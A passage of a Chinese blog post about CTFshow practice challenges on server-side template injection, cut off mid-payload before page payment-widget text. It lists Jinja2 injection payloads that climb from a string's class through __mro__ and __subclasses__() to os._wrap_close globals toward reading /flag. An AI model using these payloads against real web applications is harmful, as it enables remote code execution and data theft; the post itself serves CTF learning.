CTFshow-SSTI

本文介绍了CTF比赛中遇到的SSTI(Server-Side Template Injection)漏洞,通过实例展示了如何利用此类漏洞获取敏感信息,如读取`/flag`文件。文章详细阐述了不同过滤条件下的payload构造,包括使用编码、类的解析顺序、全局变量以及不同方法的绕过技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在CTFWEB入门的路上一直感恩有这么多大佬博文相伴
第一步了解了ssti是个什么东西,做题时就要看大佬的解题博客,比较清晰能串联知识点
CTFshow做题
ssti做题逻辑
测试:name={ {1%2b1}} %2b是加号,不能用+,一定要编码,因为+在url中会被当做空格
存在ssti:
查看当前类:{ {''.__class__}}
查看当前类的所属类:{ {''.__class__.__bases__}}
或者类的解析顺序{ {''.__class__.__mro__}}
找到object基类,罗列其所有子类

{
  {''.__class__.__mro__[1].__subclasses__()}}

找到os._wrap_close类,初始化后寻找要用的全局变量

{
  {''.__class__.__mro__[1].__subclasses__()[138]}}

138还是多少,取决于你的python版本,你可以罗列出来,去数一下,可以遍历一下
初始化后,字典格式输出所有能用的变量方法{ {().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
接着找到自己要用的调用

{
  {().__class__.__base
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值